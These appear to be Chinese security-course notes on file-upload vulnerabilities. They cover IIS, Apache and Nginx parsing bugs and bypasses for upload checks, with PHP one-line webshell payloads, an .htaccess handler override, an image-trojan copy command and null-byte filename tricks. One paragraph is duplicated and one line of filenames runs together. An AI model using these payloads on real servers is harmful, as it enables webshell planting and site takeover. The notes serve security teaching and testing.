DAY-19 上传漏洞

文件解析漏洞

解析漏洞主要说的是一些特殊文件被iis、apache、nginx在某种情况下解释成脚本文件格式的漏洞

IIS 5.x/6.0解析漏洞

IIS 6.0解析利用方法有两种

1.目录解析/xx.asp/xx.jpg

在网站下建立文件夹的名字为 .asp、.asa 的文件夹,其目录内的任何扩展名的文件都被IIS当作asp文件来解析并执行。

例如创建目录 cracer.asp,那么/cracer.asp/1.jpg将被当作asp文件来执行。假设黑阔可以控制上传文件夹路径,就可以不管你上传后你的图片改不改名都能拿shell了

2.文件解析cracer.asp;.jpg

第二种,在IIS6.0下,分号后面的不被解析,也就是说123.asp;.jpg会被服务器看成是123.asp还有IIS6.0 默认的可执行文件除了asp还包含这三种

/123.asa

/123.cer

/123.cdx

IIS 7.0/IIS 7.5/IIS8.0/8.5 /10.0解析漏洞

在默认Fast-CGI开启状况下,上传一个名字为123.jpg,内容为

<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>的文件

然后访问123.jpg/.php,在这个目录下就会生成一句话木马

shell.phpwww.xxx.com/logo.gif/*.php 触发漏洞(有漏洞会把前面文件当做php执行)X.asp%00jieduan%jpg

a.aspx.a;.a.aspx.jpg..jpg    

第二种解析漏洞或者 直接上传 xx.asp

Apache解析漏洞

Apache 是从右到左开始判断解析,如果为不可识别解析,就再往左判断比如 cracer.php.owf.rar “.owf”和”.rar” 这两种后缀是apache不可识别解析,apache就会把cracer.php.owf.rar解析成php.如何判断是不是合法的后缀就是这个漏洞的利用关键,测试时可以尝试上传一个cracer.php.rara.jpg.png…(把你知道的常见后缀都写上…)去测,试是否是合法后缀任意不识别的后缀,逐级向上识别

.txt

x.php.zzzz.xxxdf

Phtml

Php3

Php4

php5

X.phtml

Php空格

Php_

PHP

htaccess文件解析

如果在Apache中.htaccess可被执行.且可被上传.那可以尝试在.htaccess中写入:

<FilesMatch “*.jpg "> SetHandler application/x-httpd-php </FilesMatch>

然后再上传shell.jpg的木马, 这样shell.jpg就可解析为php文件

Nginx空字节代码执行漏洞

影响版本号:0.5.,0.6., 0.7 <= 0.7.65, 0.8 <= 0.8.37

Nginx在图片中嵌入PHP代码然后通过访问

xxx.php%00.jpg

来执行其中的代码

nginx畸形解析漏洞

默认fast-cgi开启状况下,在一个文件路径后面加上/xx.php会将原来的文件解析为php文件

将shell语句,如

<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>

写在文本xx.txt中(或者shell语句直接写一句话,用菜刀、cknife等直连,只是容易被查杀),然后用命令将shell语句附加在正常图片xx.jpg后

copy xx.jpg/b + xx.txt/a test.jpg

上传test.jpg,然后访问test.jpg/.php或test.jpg/abc.php当前目录下就会生成一句话木马 shell.php

Nginx文件名逻辑漏洞(CVE-2013-4547)

受影响的nginx版本: 0.8.41至1.4.3和1.5.7之前的1.5.x

正常上传一个附加代码的图片"test.jpg",访问时后面+"空格"+"\0"+".php",即让图片作为php文件解析

"/test.jpg \0.php“

Test.jpg/.php

文件上传过程

上传检测流程概述

image.png

通常一个文件以 HTTP 协议进行上传时,将以 POST 请求发送至 web 服务器 web 服务器接收到请求后并同意后,用户与 web 服务器将建立连接,并传输 data

文件上传的特征

从中获取特征为:

请求Header中Content-Type存在以下特征:

multipart/form-data(表示该请求是一个文件上传请求)

存在boundary字符串(作用为分隔符,以区分POST数据)

POST的内容存在以下特征:

Content-Disposition

name

filename

POST中的boundary的值就是Content-Type的值在最前面加了两个--,除了最后标识结束的boundary最后标识结束的boundary最后默认会多出两个--(测试时,最后一行的boundary删掉也能成功上传)

image.png

服务器命名规则

第一种类型:上传文件名和服务器命名一致

第二种类型:上传文件名和服务器命名不一致(随机,时间日期,命名等)

文件上传检测绕过

常见上传检测方式

1.客户端 javascript 检测 (通常为检测文件扩展名)

2.服务端 MIME 类型检测 (检测 Content-Type 内容)

3.服务端目录路径检测 (检测跟 path 参数相关的内容)

4.服务端文件扩展名检测 (检测跟文件 extension 相关的内容)

5.服务端文件内容检测 (检测内容是否合法或含有恶意代码)

客户端检测绕过(JavaScript检测)

首先判断JS本地验证

通常可以根据它的验证警告弹框的速度可以判断,如果你电脑运行比较快,那么我们可以用burp抓包,在点击提交的时候burp没有抓到包,就已经弹框那么说明这个就是本地js验证。

绕过方法:

1.使用burp抓包改名

2.使用firebug直接删除掉本地验证的js代码

3.添加js验证的白名单如将php的格式添加进去

客户端白名单绕过

修改允许上传类型

1.%00绕过(.php终止符.jpg)

原理:白名单过滤肯定是从后往前读取后缀,所以读取到.jpg在白名单里就放通了

但是在调用文件的时候读取文件名是从前往后读,所以看到.php后面的终止符的时候就停止读取了,最终读取的文件名的后缀就是.php

这个%00是什么意思呢?看到有%,那么首先就应该想到的是URL编码。然而%00只针对GET传参,所以POST传参不能识别URL编码

原理就是:一般上传的文件不是直接就送到服务器上的,而是先放到临时目录里,然后再重命名(经常我们看到的网页上的图片都是一串数字,那就是重命名之后的),最后再发往服务器

img

我们可以看到,最后重命名之后的文件的存储路径是用的GET传参

这个就是上传包

img

这个时候就用%00截断

img

来看上传之后的图片地址:虽然最后有数字.jpg但是已经不会执行了

img

二、0x00截断

其实就是post传参的00截断,因为post传参不走URL栏,所以就不用%00

img

在这里我们先这样修改,然后再进入hex界面

img

将a对应的十六进制值修改为00就可以了

img

三、图片马绕过

利用cmd命令:copy 123.jpg/b + aaa.php 666.jpg

可以将aaa.php中的一句话木马写入123.jpg,生成一张长得一模一样的图片666.jpg,再配合解析漏洞就可以拿到shell

四、二次渲染

二次渲染就是会改变图片的一部分十六进制数值,所以图片马中的马最好写在第三四排,并且最好用.gif

img

五、条件竞争绕过(针对先上传再检测的web网站)

简述一下理想模型:上传一个1.php的文件,1.php文件里的内容是生成2.php(木马)的语句,在网站删除1.php之前,访问到它,然后就生成了2.php,随后1.php被删除了,但是2.php还存在,因为2.php不是通过上传来的,所以可以绕过检测机制。

梦想照进现实,我们需要抓一个上传包,和一个访问包,然后用BP疯狂的跑就行了

需要用到语句:file_put_contents('2.php','<?php eval($_REQUEST[8])?>');

服务端检测绕过(MIME 类型检测)

MIME的作用 : 使客户端软件,区分不同种类的数据,例如web浏览器就是通过MIME类型来判断文件是GIF图片,还是可打印的PostScript文件。

web服务器使用MIME来说明发送数据的种类, web客户端使用MIME来说明希望接收到的数据种类。

Tomcat的安装目录\conf\web.xml 中就定义了大量MIME类型 ,你可也去看一下。

MIME的作用 : 使客户端软件,区分不同种类的数据,例如web浏览器就是通过MIME类型来判断文件是GIF图片,还是可打印的PostScript文件。

web服务器使用MIME来说明发送数据的种类, web客户端使用MIME来说明希望接收到的数据种类。

Tomcat的安装目录\conf\web.xml 中就定义了大量MIME类型 ,你可也去看一下。

绕过方法

直接使用burp抓包,得到post上传数据后,将 Content-Type: text/plain改成 Content-Type: image/gif就可以成功绕过。

服务端检测绕过(目录路径检测)

目录路径检测,一般就检测路径是否合法,但稍微特殊一点的都没有防御。

比如比较新的 fckeditor php <= 2.6.4 任意文件上传漏洞

当 POST 下面的 URL 的时候

/fckeditor263/filemanager/connectors/php/connector.php?Command=FileUpload&Type=Image&CurrentFolder=fuck.php%00.gif  HTTP/1.0

CurrentFolder 这个变量的值会传到 ServerMapFolder($resourceType, $folderPath, $sCommand) 中的形参 $folder 里,而 $folder 在这个函数中并没做任何检测,就被 CombinePaths()了

修改文件上传路径

http://www.upload.com/tcnet/Admin_Login.asp

image.png

filepath路径修改绕过

可以用来突破自动命名规则xxxxx.gif

一、改变文件上传后的路径

/a.asp/     需要一定 的创建权限,不一定能成功创建成功创建后为/a.asp/xxxx.gif

二、直接改变文件名称

/a.asp;.     修改后为/a.asp;.xxxxx.gif

image.png

image.png

image.png

服务端检测绕过(文件扩展名检测)

黑名单检测

黑名单的安全性比白名单的安全性低很多,攻击手法自然也比白名单多 一般有个专门的 blacklist 文件,里面会包含常见的危险脚本文件例如 fckeditor 2.4.3 或之前版本的黑名单

白名单检测

白名单相对来说比黑名单安全一些,但也不见得就绝对安全了

绕过黑名单

  1. 文件名大小写绕过用像 AsP,pHp 之类的文件名绕过黑名单检测

  2. 名单列表绕过用黑名单里没有的名单进行攻击,比如黑名单里没有 asa 或 cer 之类

  3. 特殊文件名绕过比如发送的 http 包里把文件名改成 test.asp. 或 test.asp_(下划线为空格),这种命名方式 在 windows 系统里是不被允许的,所以需要在 burp 之类里进行修改,然后绕过验证后,会 被 windows 系统自动去掉后面的点和空格,但要注意 Unix/Linux 系统没有这个特性。

  4. 0x00 截断绕过在扩展名检测这一块目前我只遇到过 asp 的程序有这种漏洞,给个简单的伪代码

    name = getname(http request)

    //假如这时候获取到的文件名是 test.asp .jpg(asp 后面为 0x00)

    type = gettype(name)

    //而在 gettype()函数里处理方式是从后往前扫描扩展名,所以判断为 jpgif (type == jpg)

  5. htaccess 文件攻击 配合名单列表绕过,上传一个自定义的.htaccess,就可以轻松绕过各种检测

  6. 解析调用/漏洞绕过 这类漏洞直接配合上传一个代码注入过的非黑名单文件即可,再利用解析调用/漏洞

绕过白名单

  1. 0x00 截断绕过用像 test.asp%00.jpg 的方式进行截断,属于白名单文件,再利用服务端代码的检测逻辑 漏洞进行攻击,目前我只遇到过 asp 的程序有这种漏洞

  2. 解析调用/漏洞绕过 这类漏洞直接配合上传一个代码注入过的白名单文件即可,再利用解析调用/漏洞

    xxx.htaccess 文件攻击通过一个xxx.htaccess 文件调用 php 的解析器去解析一个文件名中只要包含"haha"这个字符串的任意文件,所以无论文件名是什么样子,只要包含"haha"这个字符串,都可以被以 php 的方式来解析,是不是相当邪恶,一个自定义的.htaccess 文件就可以以各种各样的方式去绕过很多上传验证机制

    创建一个xxx.htaccess 文件,里面的内容如下

    <FilesMatch "haha">

    SetHandler application/x-httpd-php </FilesMatch>

    同目录有个我们上传一个只有文件名并包含字符串"haha",但是却无任何扩展名的文件里面的内容是 php一句话木马

双文件上传

南方、良精、动易。。。

竞争上传

基于上传文件后名称不发生改变

利用多线程并发访问触发上传后的文件,让其生成一个webshell

服务端检测绕过(文件内容检测)

如果文件内容检测设置得比较严格,那么上传攻击将变得非常困难 也可以说它是在代码层检测的最后一道关卡 如果它被突破了,就算没有代码层的漏洞 也给后面利用应用层的解析漏洞带来了机会

绕过检测文件头

主要是检测文件内容开始处的文件幻数,比如图片类型的文件幻数如下要绕过 jpg 文件头十六进制检测就要在文件开头写上下图的值

image.png

Value = FF D8 FF E0 00 10 4A 46 49 46

要绕过 gif 文件头十六进制检测就要在文件开头写上下图的值

image.png

Value = 47 49 46 38 39 61

要绕过 png 文件头十六进制检测就要在文件开头写上下面的值

image.png

Value = 89 50 4E 47

然后在文件十六进制后面加上自己的一句话木马代码就行了

文件相关信息检测

图像文件相关信息检测常用的就是 getimagesize()函数 只需要把文件头部分伪造好就 ok 了,就是在十六进制数的基础上还加了一些文件信息 有点像下面的结构

GIF89a

(...some binary data for image...) <?php phpinfo(); ?>(... skipping the rest of binary data ...)

文件加载检测

这个是最变态的检测了,一般是调用 API 或函数去进行文件加载测试 常见的是图像渲染测试,再变态点的甚至是进行二次渲染对渲染/加载测试的攻击方式是代码注入绕过 对二次渲染的攻击方式是攻击文件加载器自身

先说下对渲染/加载测试攻击 - 代码注入绕过可以用图像处理软件对一张图片进行代码注入 用 winhex 看数据可以分析出这类工具的原理是在不破坏文件本身的渲染情况下找一个空白区进行填充代码,一般会是图片的注释区对于渲染测试基本上都能绕过,毕竟本身的文件结构是完整的

绕过二次渲染

1.攻击函数本身

通过上传不完整的图片让其渲染函数暴露,然后攻击之。

2.对文件加载器进行溢出攻击。

表单提交按钮

slblog.upload.com/sleditor/upload.asp

写入表单

<input type="submit" value="提交" name="bb">

上传a.asa

文件上传漏洞分析

phpv9 上传漏洞分析

tpshop 上传漏洞


分享:

支付宝

微信